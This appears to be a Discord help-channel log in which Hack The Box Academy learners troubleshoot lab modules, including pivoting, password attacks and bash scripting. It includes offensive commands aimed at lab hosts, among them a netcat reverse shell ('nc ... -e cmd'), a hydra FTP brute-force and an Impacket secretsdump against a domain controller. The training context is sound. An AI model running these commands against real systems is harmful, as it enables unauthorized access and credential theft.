yes that is exactly what I am doing... I get this ERRO[2649] dial tcp 127.0.0.1:11602: connect: connection refused

[next bronze]

what's the proxy server listening port

[latent glen]

so Ive deleted all listeners and started over
│ AGENT │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
[e-mail] │ 0.0.0.0:11601 │ 127.0.0.1:11601

no I have to do ./agent.exe -connect UbuntuInternalIP:11601 -ignore-cert

correct?

on the Windows machine, because they both share a network

[next bronze]

if the windows machine can connect to the ubuntu machine, and ubuntu has a listner running then yes

[latent glen]

so I have to put the proxy on the ubuntu machine too, and then from there start a listener? That would be weird. having the listener EXACTLY like ive tried but with a nc reverse shell it works

but when I try to connect back with an agent I get connection refused

[next bronze]

no the proxy only runs on your attack host

[latent glen]

nc 172.16.5.15 11601 -e cmd

so this works and I get a reverse shell

but this doesnt

./agent.exe -connect 172.16.5.15:11601 -ignore-cert

[next bronze]

you didn't answer my question, what port was the proxy listening when you started it

[latent glen]

oh

5555

[fathom pendant]

[next bronze]

there you go, agents need to connect to proxy port

[latent glen]

-------------------...................----------------------------
let me try

[languid wharf]

@hallow kiln Restarted the machine, CME has tried all the passwords that start with ||1|| and it still doesn't work : (

[torpid zinc]

try to enter from the pwnbox ( it is faster the bruteforcing ) and run the mutated list

[languid wharf]

I'll try, thanks

[latent glen]

okay no thats confusing. So what you are saying is do this ?

./agent.exe -connect 172.16.5.15:5555 -ignore-cert ? Then what did I set up the listener for

Im sorry if Im being slow here

Im sure once it works Ima hit myself

[next bronze]

open a listener on the pivot host of the first subnet to the ligolo server listening port

[latent glen]

done

[e-mail] │ 0.0.0.0:11601 │ 127.0.0.1:11601

[next bronze]

your server listening port is 5555

[latent glen]

oh

I see yea right

let me try that

ah that makes sense

I hope that works

connection refused

jesus christ what is going on

[languid wharf]

My lab also crashed

@torpid zinc it worked! Thanks! Do you know why it might've failed from my vm?

[torpid zinc]

not to be honest, maybe because of the connection but not sure at all

[languid wharf]

Okay, thanks for all the help everyone!

[wanton totem]

Hello together 🙂
Could someone please help me with intro to assembly language : shellcoding tools?
It doesn't work either with msfvenom nor when I wrote a Script in an asm- File.
The parts which are needed are in this Section, I know and based on that, I wrote a Script, but that doesn't seem to work. Could someone please help me? Maybe, that I send the parts which I figured out per DM? I am for sure only overlook a small detail, but don't get it, so could please someone help me with this one, where I stuck for countless days. 😦
thanks a lot

[olive canopy]

Could someone help me?

I'm currently doing SECURITY MONITORING & SIEM FUNDAMENTALS.

Now the funny Part is, in Module 9:
SIEM Visualization Example 4: Users Added Or Removed From A Local Group (Within A Specific Timeframe)

I get the Task:

Navigate to http://[Target IP]:5601, click on the side navigation toggle, and click on "Dashboard". Extend the visualization we created or the "User added or removed from a local group" visualization, if it is available, and enter the common date on which all returned events took place as your answer. Answer format: 20XX-0X-0X

I build the dashboard but as soon as I use the timestamps I don't get any more records as there isn't any newer entry then 05 March 2023...

I did it as shown in the guide.

Is there any bug or something?

[supple gorge]

are you using all time?

Do you see the different dashboard with the different sections? That should already be pre made

[wicked relic]

ls -la

[olive ibex]

Het all I am struggling with the JavaScript Deobfuscation question. The answer that I have looks correct as in it is in leet speak but I keep getting an incorrect response

[fathom pendant]

are you sure you're answering the right question

read carefully

[olive canopy]

Thanks, worked with the pre build !

[supple gorge]

leet speak?

are you sending a POST to web server?

[olive ibex]

@fathom pendant I have no idea. I have tried naming the type of encoding pasting in various commands that I used to decode. The question isn't really a question

@supple gorge I am

[next bronze]

what are the routes

[supple gorge]

read the last part of the question, what does it say to do? are you doing that?

[olive ibex]

I did that yes to the best of my ability

[supple gorge]

so you did 2 POST requests?

[olive ibex]

That is where I am lost can I DM you

[unique palm]

I am on the Active Directory Module Section "Internal Password Spraying - From Linux"

What Username list should i use here ?

[supple gorge]

sure, if you're unsure how to do what the quesiton is asking, it was done in the section a bit above

[olive ibex]

@supple gorge sent

[next bronze]

explain more why it's not working

[supple gorge]

I was so silly, I'm used to crypto and decoding so I was like wtf, how is this not the answe,r trying to figure out what encoding i was missing.

Turns out I was missing a step 😅

[olive ibex]

@supple gorge Thanks for the assist

[fathom pendant]

reading the actual question? (was it the Source question?

[supple gorge]

it was the one that you had to get the decoded answer and send it in a post

[fathom pendant]

ah yeah

[olive ibex]

Thank you both

[fathom pendant]

the one you decode from the previous question

[olive ibex]

This why I love HTB because it is a pain to learn this stuff but I now completly understand the concept behind it

[torpid zinc]

i have a question for the hard lab in password attacks module ( i will add spoilers because i am not sure if it is or not ). || After you find the backup file, how can you identify that is encrypted with bitlocker? ||

[queen oyster]

Hi everyone, I'm currently doing https://academy.hackthebox.com/module/115/section/1139 (The live engagement), working on the 2nd machine (blog.inlanefreight.local), while I understand how to exploit this, I wonder how you would get these credentials without the hint here, are we meant to for example just run burp on the environment and brute force it with a random wordlist? Did not think this was the way as the speeds are also pretty slow on this machine.

[fathom pendant]

file *.vhd

iirc

or you just try mounting and find out the hard way

[queen oyster]

nvm I'm stupid I didn't check the desktop 🤦🏼‍♂️

[fathom pendant]

check the desktop

LMAO

you wouldn't believe how many people ABSOLUTELY miss it

[queen oyster]

glad I'm not alone 😂

[latent glen]

okay it worked ... FUCKING FINALLY

[torpid zinc]

but does that mean that every .vhd file is encrypted? i thought it is not a fact

[fathom pendant]

...

there's literally a command called file

[torpid zinc]

i tried it but the output is the following "Backup.vhd: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system"; partition 1 : ID=0xee, start-CHS (0x0,0,2), end-CHS (0xf,254,63), startsector 1, 4294967295 sectors"

maybe because there are the errors in the output you can understand that something is wrong? but still i dont know if it is a logical conclusion to think about bitlocker

[fathom pendant]

you can also make a logical conclusion (based off it being windows) and it being named a certain way that cracking it would be necessary

[torpid zinc]

hmm okay thank you very much

[unique palm]

Anyone got an idea? still stuck at the question:
Find the user account starting with the letter "s" that has the password Welcome1. Submit the username as your answer.

[craggy sky]

is it possible that the linux fundamentals module provided the wrong password/login for SSH in the "system information" section :)

[rustic sage]

Hi guys still stuck on starting a web server with php, I'm using this command: php -S localhost:8080, any hints?

[fathom pendant]

it should work

[craggy sky]

am i using the wrong IP for SSH then

[fathom pendant]

you should be using the ip from "click here to spawn target"

[fathom pendant]

what module

[night blaze]

Hey guys, I'm stucking in a lab "Skills Assessment - WordPress", I've set the /etc/hosts to ping to the server's ip but it isn't working, any tip?

[rustic sage]

This is the working with web services module

[craggy sky]

thats the IP the instance is running on right 😭

like the one that shwos in my terminal

[fathom pendant]

no

[craggy sky]

oh!

[fathom pendant]

this IP

[craggy sky]

should have paid better attention in the getting started module

ty

[fathom pendant]

pebkac

[sterile epoch]

Hi for bash scripting
what am I doing wrong

[next bronze]

get a list of users in the domain

[sterile epoch]

I tried putting then in the next line

[fathom pendant]

isn't there a thing with echo that causes it to add a newline

[sterile epoch]

\n?

[fathom pendant]

ye echo by default tags a newline - try adding -n (to the initial encoding?)

[sterile epoch]

I dunno about that. This is all thats mentioned in the module

[fathom pendant]

¯_(ツ)_/¯

[sterile epoch]

found the error, a blank is needed between if and [

[fathom pendant]

you mean a space

[bright quiver]

can someone let me know why this won't work here? I imported AD, but still nothing...would I need to use powerview?

[fathom pendant]

you might need to import powerview

but also it tells you that the perameter you described does not exist

powershell does support tab autocomplete

[bright quiver]

ok...maybe that is why

[next bronze]

that's the ActiveDirectory module, not powerview

[bright quiver]

but even when trying to run what is outlined in the text it won't work either

so i did import powerview and it worked...with GetDomain and the text

[midnight galleon]

Hi, in the shells&payloads module, the antak shell section, I got the shell on the system and whoami but it is refusing the answer

[fathom pendant]

make sure you upload it to the right subdomain

there is a difference

[midnight galleon]

Nope

Same as the one before

[fathom pendant]

like i said

[midnight galleon]

Status.inlanefreight.local

[fathom pendant]

there is a difference in when you upload/access via the right subdomain

one gets you the /application or whatever the other gets you the other one

[midnight galleon]

Wdym?

[fathom pendant]

you should get a iis apppool\'name'

in whoami

[midnight galleon]

Yes

I got that

Can I show what I got with spoiler tag?

[ocean night]

Maybe take to DM if you think what you're going to post includes spoilers

(if MarcieLee is ok with it)

[fathom pendant]

i'm taking a moment to upload and check

[ocean night]

👀

[fathom pendant]

yep i get the intended answer doing exactly what's described

[fathom pendant]

dm me and include the browser url at the top that you're using

[midnight galleon]

Ok

[gusty ocean]

im trying to find the history in home directory but cant find it when I type in ls -la, what am i doing wrong?

[fathom pendant]

history is .bashhistory

[gusty ocean]

i dont see it in my home directory tho

[next bronze]

that's because you're not in your home directory

it's /home/htb-student

or ~

[gusty ocean]

ouh...

so thats what they meant by home for htb student

[fathom pendant]

...

[gusty ocean]

thanks alot

[fathom pendant]

yeah

[gusty ocean]

i was confused

i thought diff home dir

[fathom pendant]

~ is shorthand for /home/$USER

btw

[ocean night]

Any day you learn something is a good day.

[gusty ocean]

humu i see thanks!

[fathom pendant]

you can also just do cd without any args and it'll take you home

[gusty ocean]

ouh yeah learned that bfr kinda forgot abt it

thanks for sharing tho

the second question i had to google tho cuz i refered the section it didnt rlly show how to do it

like checking the sudoers index number

[fathom pendant]

well it comes with some research

you know ls lists info

you can do something like man ls or ls -h to find out other flags aside from the shown -la flags

[ocean night]

man hole
No manual entry for hole

[fathom pendant]

that made me snort

[next bronze]

touch grass                                    
touch: cannot touch 'grass': Permission denied

[ocean night]

haaahaha

[fickle sparrow]

what are good machines for wordpress hacking? I just finish that module and want more practice

[midnight galleon]

Use that academy x path feature

[fickle sparrow]

then?

[midnight galleon]

Also iirc after completing a module I think if u scrolled you would find like tons of stuffs

[midnight galleon]

Then you would find what you r looking for

[fickle sparrow]

wtf lol I did get u homie

[midnight galleon]

It's actually academy x htb labs

[fathom pendant]

https://academy.hackthebox.com/htb-relations/modules/hacking-wordpress

[supple gorge]

guys, is lowered attention span, aka getting distracted easier a sympton of burn out? been doing academy every day all day for the past week.

[fathom pendant]

yes

you're losing some level of interest in grinding it out

limit time to a few hours or don't be afraid to just step away for a day or two

let your mind rest and absorb your recently learned info

[midnight galleon]

Same, but gotta do what must be done to succeed

[supple gorge]

ugh, unfortunately...

[midnight galleon]

It requires some extra efforts to be the protagonist

[fathom pendant]

ngl bro; this ain't it chief

[supple gorge]

gotta see what's the minimum break to get back at it... currently trying to power through the digital forensics module, (almost done with the path)

[fickle sparrow]

holy shit, this is awesome.... thank you sir!

[fathom pendant]

just step away for a day or two, then sit back down and get back at it

maybe go back and recheck what you've done previously

[midnight galleon]

Yeah that feature is just outside of the world XD

[supple gorge]

thanks for the tip 🙂

[midnight galleon]

And don't forget to

[fickle sparrow]

yeah, touch some grass homie

[fathom pendant]

also as a note: make sure you take time for your hobbies outside of learning

[supple gorge]

Fine..I'll go touch grass then lol

[fathom pendant]

while yes you want to break in: this course isnt graded - there's no pressure aside from what you put on yourself

[ocean night]

💯 this, a step away, a shower, a walk.. something to take your mind off of it and you'll be surprised how often the answer comes to you, or at least another ideal for approaching it

[fickle sparrow]

I was feeling the same way in the last two week. What I did just take three days off with not tech near me. Go hiking with my dog. I feel 100% better

[fathom pendant]

and even then renewed inspiration to keep working at it

[ocean night]

Why it's important to not get too focused on a challenge or machine on an exam, just keep moving. Timehole yourself

[fickle sparrow]

yeah, totally agree with Marcie

[fathom pendant]

when you step away you give your chance a moment to just think about stuff

without a singular focus

[ocean night]

You ever think about something.. then two minutes later forget it.. just stop, don't think about trying to remember. It'll come back

[fathom pendant]

it's why tests are "hard" because you're given a time limit, and your brain overcomplicates the tiniest detail

and you get the result back and it's SO obvious

because you had a chance to step away

[supple gorge]

I'll take a break this afternoon, that's a start. Thanks guys :))))

[midnight galleon]

What if my hobbies is hacking?

[ocean night]

You got this 😄

[ocean night]

Make something, break something, do anything other than what you are struggling with

[fickle sparrow]

dude u just made my day ngl. That shit is awesome

🤣

Do i need to pay extra if I have the academy subs?

[ocean night]

What do you mean?

[fathom pendant]

you need VIP(+) on the main platform to access the retired machines

there's no cross-platform subs

[ocean night]

Not yet 👀

[midnight galleon]

[fathom pendant]

would be a neat selling point for the annual subs 💸 💸 💸 💸

[midnight galleon]

That would honestly be better

[ocean night]

Aye for sure

2024 gonna be good 😄

[fathom pendant]

HTB users in 2024 gonna be eating good

[midnight galleon]

|||Pretends To not be on students sub|||

[fathom pendant]

now go g0b before marketing gets mad at you

[fickle sparrow]

god damn

[ocean night]

They can't touch me, they're in another country

[fathom pendant]

LMAO

[ocean night]

...but they could fly out here

Ah crap

[fathom pendant]

they have your address

they know where you live

[midnight galleon]

Our prayers for the brave soldier

[fickle sparrow]

is there a discount for vip students?

$20 per month is a lot for this soul

[ocean night]

If you're subscribing from an educational istitution there is, but there's a bit more to it

[fickle sparrow]

oh nice

[midnight galleon]

And this soul

[ocean night]

https://help.hackthebox.com/en/articles/7973133-getting-the-student-subscription

That's for the Acedemy. I think there's something similar for VIP/ VIP+ too, but TLDR you gotta get your University / College on boarded

[fathom pendant]

meanwhile I ||rigged|| got my silver annual from the giveaway

[ocean night]

https://help.hackthebox.com/en/articles/5191693-do-you-provide-special-pricing-for-universities-what-are-the-eligibility-criteria-for-it

OMG you haxxored it Marcie?

Shame

[midnight galleon]

Who in the uni I should contact

[ocean night]

Your tutor

[fickle sparrow]

ah never mind. My school don't even know this shit exist lmao

[midnight galleon]

My university is off due to a stupid war so I don't think I can contact high authorities

[fickle sparrow]

are u in gaza?

:v

[midnight galleon]

And does my tutor needs to know about HTB?

[ocean night]

Generally the institution would need to be registered with HTB in order to benefit from Student discounts

[midnight galleon]

Sudan

[fickle sparrow]

I will proposed that in the next club meeting. They have enough funds for nonsense stuff

[midnight galleon]

It was registered during the uni ctf

[ocean night]

You'd benefit from the discount upon an institution email address, or via manual verification via our support team (first link I shared pertaining to Academy)

[fickle sparrow]

oh

i didn't know sudan was in war, with who ?

[ocean night]

Nice, then they are already aware of HTB. You should be able to get them to register as an institution on the platforms. Then you and your classmates can benefit from the discounts.

[echo roost]

Nice -

[ocean night]

Explain to them the value of it to you as a student

Sorry, salesman mode off.

[echo roost]

Is it mostly white box?

[midnight galleon]

I don't think politics are allowed here but if you want to know u can dm

[ocean night]

The modules lead you through the techniques, and there are exercises at the end to show that you have understood the techniques covered.

[echo roost]

That's great, ty

[thorn urchin]

sir that wont work

[ocean night]

You aren't just throw in to a machine blind, there's a lot of content to help you gain knowledge in order to progress

[thorn urchin]

😂

[midnight galleon]

I did the manual verification for the academy sub, so I should do that for the main plat?or do I still need to get someone evolved?

[thorn urchin]

They said the college is currently closed due to war

[ocean night]

Honestly I'm not sure.. speaking to the support team and explaining your position would be the best bet.

[ocean night]

If it's closed and they aren't able to work, that's a shitty situation 😦

Without engagement from the institution, it'd be hard to verify

Hope you're staying safe ❤️

[midnight galleon]

Yeah that is what is happening, been in a 9 month vacation

[ocean night]

Damn I'm sorry to hear that 😦

[midnight galleon]

So what do I need from my institution to do?

[ocean night]

The links I shared cover it

[fickle sparrow]

i just sent u a best friend request

[midnight galleon]

Accepted my fren

[midnight galleon]

So basically they are the ones who should be buying it and not me?

[ocean night]

For Academy, I believe if the institution registers and you have a educational email address you can purchase yourself

Otherwise yes, then the institution would need to purchase

There is an option on Academy if you don't have an academic email address however

Unsure about our other platform however

[thorn urchin]

if theyve already signed up for uni-ctf in the past Id assume HTB already has them internally recognized, so itd just be a matter of messaging support to review it and get you eligible

[ocean night]

Yeah as said.. reach out to support, they'll do what they can

[midnight galleon]

I think I should better contact the support my self to know what is required

[thorn urchin]

(im assuming this is to get student sub)

[midnight galleon]

Thank you very much

[midnight galleon]

I am now on the academy student sub, I was looking for the vip sub discount

[thorn urchin]

I didnt think there was a student vip discount

but I could be wrong

[ocean night]

There is on VIP, but it requires purchase from the institution. Academy is more self serving

https://help.hackthebox.com/en/articles/5191693-do-you-provide-special-pricing-for-universities-what-are-the-eligibility-criteria-for-it

[thorn urchin]

ah gotcha, that does make things complicated for them then

Maybe they can get a Sudan ambassador to vouch for em 😂

[midnight galleon]

The copium from this statement is enough to end world hunger

[thorn urchin]

Politicians can be weird. you have no idea what strings they can randomly pull if you dont ask

They could go 'hey we have a promising young hacker trying to increase their skills but are roadblocked due to the war climate. lets pull some strings to get them sorted out'

ive seen weirder shit happen

[olive ibex]

Hey all I am on the java deobfuscation skills assessment. I was able to get all answers but one As you may have noticed, the JavaScript code is obfuscated. Try applying the skills you learned in this module to deobfuscate the code, and retrieve the 'flag' variable.

What do they mean by flag variable

[supple gorge]

you would find it once you de obfuscate it

[misty current]

Use the techiniques thought so far and deobfuscate the Javascript code. || the flag is assigned to a javascript variable ||

[supple gorge]

it means a variable, probably named flag

[thorn urchin]

do you have any background knowledge about JavaScript or programming of any kind?

[fathom pendant]

https://www.programiz.com/javascript/online-compiler/ 😄

[golden zinc]

I'm working in the Linux Fundamentals module and got to the question about how many total packages are installed on the target system. I thought "apt list --installed | wc -l" would give me the correct answer but it keeps saying my answer is incorrect. Without giving me the answer, is there some other place I should be looking?

[fathom pendant]

This might be helpful

[fathom pendant]

Instead of wc pipe to head -n 5 and see if you find why it's wrong

[golden zinc]

Thank you!!

[fathom pendant]

Stupid extra info bits

[olive ibex]

@fathom pendant I do not but I did find the answer for one of the other questions with the website you provided. That is not the one I am stuck on sadly

[golden zinc]

More like stupid rookie mistake, but I appreciate your help.

[fathom pendant]

What is a variable is the question you should first ask

Once it's unpacked: then it's obvious

[olive ibex]

@fathom pendant I dm'd you I feel like I am really close

but I have tried variations of the same flag

[fathom pendant]

I believe if you just run it, it gives you the answer

With no extra bits

:) it's also a nice warning

[olive ibex]

Haha I must have messed it up when I tried to manually remove the bits. I did a notepad replace all and that did the trick

thanks Again @fathom pendant

[fathom pendant]

If you just run it, you'll get the same thing 😉

[obtuse verge]

hi!! Im trying to do the module 'Searching for Accounts in Group Policy Objects' from CrackMapExec, and it is giving me this error. Can someone help me?

[misty current]

Try increasing the SMB timeout in crackmapexec.

--smb-timeout

[obtuse verge]

yeah that worked

@misty current thank you!

[misty current]

[wind ermine]

Hi everyone,

I'm currently delving into the Windows Event Logs & Finding Evil module.
I'm trying to find the answer to the first question in the skills assessment, but I'm probably barking up the wrong tree.

The question is:
' By examining the logs located in the "C:\Logs\DLLHijack" directory, determine the process responsible for executing a DLL hijacking attack' (.exe file)

Now, I will briefly explain what my approach is. I have:

1. Opened the folder in the 'Logs' directory, then the .evtx file
2. Filter the log by event ID 7
3. Ctrl + F to sift through suspicious entries with no signature (by searching 'false')

(I have already modified the sysmonconfig-export.xml to ensure that nothing is excluded)

Unfortunately, I can't find any useful information.
Can you please give me a hand?

Thank you so much!

[scarlet imp]

Hello everyone,

I'm currently stuck at the skill assessment of the "Parameter Logic Bugs" module.
There should be a vulnerability in this code which allows you to get a subscription with unlimited access but I'm not able to find it.
I found a way to get subscriptions for free but not the one I need. The other ways to get there seems a dead end as well.
Any hints are welcome here. Thank you a lot 🙂

[kind turret]

dm me

[cedar bear]

hi everyone,
i don't get the question
i ran a sub-domain scan with ffuf and found 3, but none of them works as a valid answer

[fathom pendant]

it's probably looking for subdomain1 subdomain2 subdomain3

[cedar bear]

yep... that's it 🤣

[fathom pendant]

i mean it does say "What are all the subdomains"

[cedar bear]

yes, but how can i know its not csv

[fathom pendant]

the answer format was clarifying not 1, 2, 3

by saying "only write the sub-domain name"

:P

[cedar bear]

yes maybe my english is not as good as i thought lol

[chilly cosmos]

Hello, what can i do if the password to ssh don't work. Execpt htb support.

[fathom pendant]

what ssh password, what module

more context is needed LOL

[chilly cosmos]

introduction to windows command line - Skills Assessment

the password is "previous flag" i am stuck on this one

[fathom pendant]

the password isn't literally "previous flag"

[chilly cosmos]

Yes

[fathom pendant]

it's the answer of the previous question

iirc

[fathom pendant]

this

it's the same for the rest of the questions, each question after the first - password is the answer(flag) of the previous question

[chilly cosmos]

Ok thanks

permission denied

too much attempt

[fathom pendant]

just reset the target idk what the timeout is for failed logons

¯_(ツ)_/¯

[bright quiver]

Can someone help me understand why this may not be working? trying to see if this works for the section: Attacking Domain Trusts - Child -> Parent Trusts - from Linux ||secretsdump.py [e-mail] -k -no-pass -just-dc-ntlm -just-dc-user bross
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation

[-] RemoteOperations failed: Empty Domain not allowed in Kerberos
[*] Cleaning up... ||

[golden compass]

Hello im hard stuck at the password attack module, i passed the password mutation yesterday but i did not save my creds... If i can DM someone that have the creds or can help me thk !

[fathom pendant]

if you still have the mutated list: then all you gotta do is redo the cracking part for the section

kira is the one with the question about Will

:P

[golden compass]

Yes but i've tried it and its not working like the password changed

[fathom pendant]

nope

the passwords don't change

[golden compass]

hydra => kira => ftp => Bat...

[fathom pendant]

nope

that's not her password

that's sam

iirc

but kiras had the specific hint

[next bronze]

you need to specify the domain before the username <Domain>/<Username>:<Password>@<dc>

[bright quiver]

@next bronze oh ok - let me try that - ty

[golden compass]

for kyra on the ftp i tried my mutated wordlist but not working..

It's a big waste of time

[fathom pendant]

¯_(ツ)_/¯

[golden compass]

Really fun to wait 4H for a bruteforce lol, learning stuffs, educative

[fathom pendant]

you know you can change threads yeah?

-t 48 seems most stable

[golden compass]

the mutuated have 94K password

[fathom pendant]

yes

[golden compass]

I does not remember the hint about kira..

[fathom pendant]

then find it :P it's in an early section

but it definitely exists in the mutated wordlist

[next bronze]

I do remember that I removed the first 17k passwords in the list to speed it up

not sure if it applies to the question you're doing

[golden compass]

Thk im tring to cut what i can

kira is for ftp right ?

[next bronze]

actually might be the first 14k

[next bronze]

yes should be

[golden compass]

trying hydra -l kira -P mut_password.list ftp://10.129.221.57 -t 64 with only password containing will or Will

ok not working x)

[fathom pendant]

because her password doesn't contain the word will

the hint that tells you about kira is on a question about Will

[golden compass]

There is no question about will

[fathom pendant]

that's weird because i'm looking at the question now, in the section that asks about it

[golden compass]

I checked Theory of protection , Credential storage , John, Network Services, Password mutaitons no trace of our friend will, Im tired but I know how to Ctrl+F

[fathom pendant]

what section are you working on then?

[golden compass]

On password Reuse but i need the creds of Password mutations, that i did not take note after getting the flag..

[fathom pendant]

OH

you didn't specify that

i thought you were at a later part

just crack sam again

[golden compass]

I used the default mut wordlist it took me several hours thats why im asking here if someone can help, I know that i can recrack it ...

[fathom pendant]

just do it and don't complain tbh

¯_(ツ)_/¯

i don't have the entire list saved anywhere specific just creds here and there

it shouldn't really take hours

[golden compass]

It's a useless piece of advice you could have done without.

[fathom pendant]

i also suggest -t 48 instead of 64 most networks have issues with doing 64 threads and end up dropping some

causing more headaches than they're worth

sam's password does start with B iirc

[sterile epoch]

#!/bin/bash

# Decrypt function
function decrypt {
    MzSaas7k=$(echo $hash | sed 's/988sn1/83unasa/g')
    Mzns7293sk=$(echo $MzSaas7k | sed 's/4d298d/9999/g')
    MzSaas7k=$(echo $Mzns7293sk | sed 's/3i8dqos82/873h4d/g')
    Mzns7293sk=$(echo $MzSaas7k | sed 's/4n9Ls/20X/g')
    MzSaas7k=$(echo $Mzns7293sk | sed 's/912oijs01/i7gg/g')
    Mzns7293sk=$(echo $MzSaas7k | sed 's/k32jx0aa/n391s/g')
    MzSaas7k=$(echo $Mzns7293sk | sed 's/nI72n/YzF1/g')
    Mzns7293sk=$(echo $MzSaas7k | sed 's/82ns71n/2d49/g')
    MzSaas7k=$(echo $Mzns7293sk | sed 's/JGcms1a/zIm12/g')
    Mzns7293sk=$(echo $MzSaas7k | sed 's/MS9/4SIs/g')
    MzSaas7k=$(echo $Mzns7293sk | sed 's/Ymxj00Ims/Uso18/g')
    Mzns7293sk=$(echo $MzSaas7k | sed 's/sSi8Lm/Mit/g')
    MzSaas7k=$(echo $Mzns7293sk | sed 's/9su2n/43n92ka/g')
    Mzns7293sk=$(echo $MzSaas7k | sed 's/ggf3iunds/dn3i8/g')
    MzSaas7k=$(echo $Mzns7293sk | sed 's/uBz/TT0K/g')

    flag=$(echo $MzSaas7k | base64 -d | openssl enc -aes-128-cbc -a -d -salt -pass pass:$salt)
}

# Variables
var="9M"
salt=""
hash="VTJGc2RHVmtYMTl2ZnYyNTdUeERVRnBtQWVGNmFWWVUySG1wTXNmRi9rQT0K"

# For loop to encode "var" 28 times in base64
for i in {1..28}
do
    var=$(echo $var | base64)
done

# Assign the result to the "salt" variable
salt=$var

# Check if $salt is empty
if [[ ! -z "$salt" ]]
then
    decrypt
    echo $flag
else
    exit 1
fi

I am getting this error
enc: Use -help for summary.

any help please

[fathom pendant]

looks like openssl threw that error at you at least that's the only place I see enc

but it also looks like a huge mess of what I assume is necessary

[pale moss]

check if openssl is the newest version first

[sterile epoch]

yep but this is exactly the same give in the module

[fathom pendant]

like I said

[next bronze]

yeah cause you need the salt value to decrypt

[sterile epoch]

• 3 Create a "For" loop that encodes the variable "var" 28 times in "base64". The number of characters in the 28th hash is the value that must be assigned to the "salt" variable.

[sterile epoch]

this is the task in bash scripting module

[next bronze]

did you get the salt value?

[pale moss]

maybe use an echo to check if your using your values correctly

echo "MzSaas7k: $MzSaas7k"
echo "salt: $salt"

some like this

[sterile epoch]

yes I have to encode the 9M value to base64 28 times

So I created the for loop

# For loop to encode "var" 28 times in base64
for i in {1..28}
do
    var=$(echo $var | base64)
done

then assign the var after 28 times to the salt variable

[next bronze]

**The number of characters **in the 28th hash is the value that must be assigned to the "salt" variable

[fathom pendant]

^

[sterile epoch]

demn

gotta read more

[fathom pendant]

gotta read, period

:^)

[sterile epoch]

thanks for the help

[next bronze]

I suggest you make a separate script to loop the var so it's easier to debug

if I remember right I see another error in your script

[sterile epoch]

will do that

cuz I just got another error

[fathom pendant]

well that query didn't last long

[ocean night]

What query 👀

[fathom pendant]

i was kinda curious

[ocean night]

Sorry what?

😅

(I'm speaking with them now)

[fathom pendant]

[next bronze]

I knew it

[fathom pendant]

(i figured)

[ocean night]

Nothing to do with HTB, but best to remove anyway 😉

[fathom pendant]

well yeah

i FIGURED

[ocean night]

This dude figures 😅

[prisma spruce]

I can't imagine doing this in bash and not python

[ocean night]

Advising on disclosure

[fathom pendant]

because the question has them do it in bash

iirc that's intro to bash scripting yeah?

[sterile epoch]

yes

[thorn urchin]

I too would rather use python than make a convulted bash script

[sterile epoch]

gotta check again

[prisma spruce]

iirc I had one htb box where I used a bash hack because I wanted to use sed and didn't want to figure things out in python.

[next bronze]

the salt is wrong

[sterile epoch]

34070
I ran the loop 28 times this was the char count I get for the encoded var

#!/bin/bash

var="9M"
for i in {1..28}
do
        echo "Iteration no: $i"
        var=$(echo $var | base64)
        echo -e "\n $var"
done
salt="${#var}"
echo $salt

This my loop

[next bronze]

how are you counting it?

also isn't that gonna blow up your terminal with the long strings lol

[sterile epoch]

yep it did
I am counting the chars using
${#var}

#!/bin/bash

var="9M"
# runs 28 times for encoding it 28 times
for i in {1..28}
do
        # I encode the value into base64 then assign it to var for further encoding
        var=$(echo $var | base64)
        
done
# I get the number of characters then output it
salt="${#var}"
echo $salt

Am I missing anything?

[next bronze]

I just checked, you need to use wc -c

[sterile epoch]

it worked

guess the expression I used counts the next line too

[next bronze]

spoilers dude, that's the answer

[sterile epoch]

sorry forgot to crop it

anyways got the difference thanks

[next bronze]

actually ${#var} does not count the new line character, $(echo $var | wc -c) does, so the question is not quite accurate

[dire abyss]

stuk on "windows file transfer methods" on the second question where I have to upload to the windows machine. I chose scp and just getting frustrated with PS. i feel like im close but my connection just gets closed by remote hosts. SCP i believe uses p22 by default but thats not open however p21 so im trying that route. does something look wrong here? scp -P 21 Deskop/upload_win.zip htb-student@10.129.99.9:'C:\Users\htb-student\Desktop'

[fathom pendant]

21 is usually ftp

If I'm recalling my protos

[dire abyss]

what other port can scp operate in?

[next bronze]

it's not about which port, scp uses the SSH protocol, so if the target doesn't have SSH running, then you can't use scp

[dire abyss]

damn why is it in the cheat sheet

[prisma spruce]

ports are generally stanadardized but completely arbitrary

[next bronze]

because scp has its uses, just depends on what's running

[thorn urchin]

wdym

you use the tool that is best relevant for the situation

if the target has ssh, then scp is a good idea

if it doesnt then it isnt

if youre asking why the cheatsheet mentions specifying ports, thats cause ssh doesnt have to run on 22, thats just the default

[low meadow]

https://academy.hackthebox.com/module/77/section/844
whats the supposed solution for root ?

cant curl/wget/scp or anything

[thorn urchin]

we dont do giving answers here

what have you tried, what information have you gathered

[rustic sage]

where do i ask for support with troubleshooting linux, im on the linux fundementals module

[sleek urchin]

dm

[dire abyss]

yeah i ran an nmap and i dont see openssh or anything similar running so scp isnt an option

[low meadow]

solved it...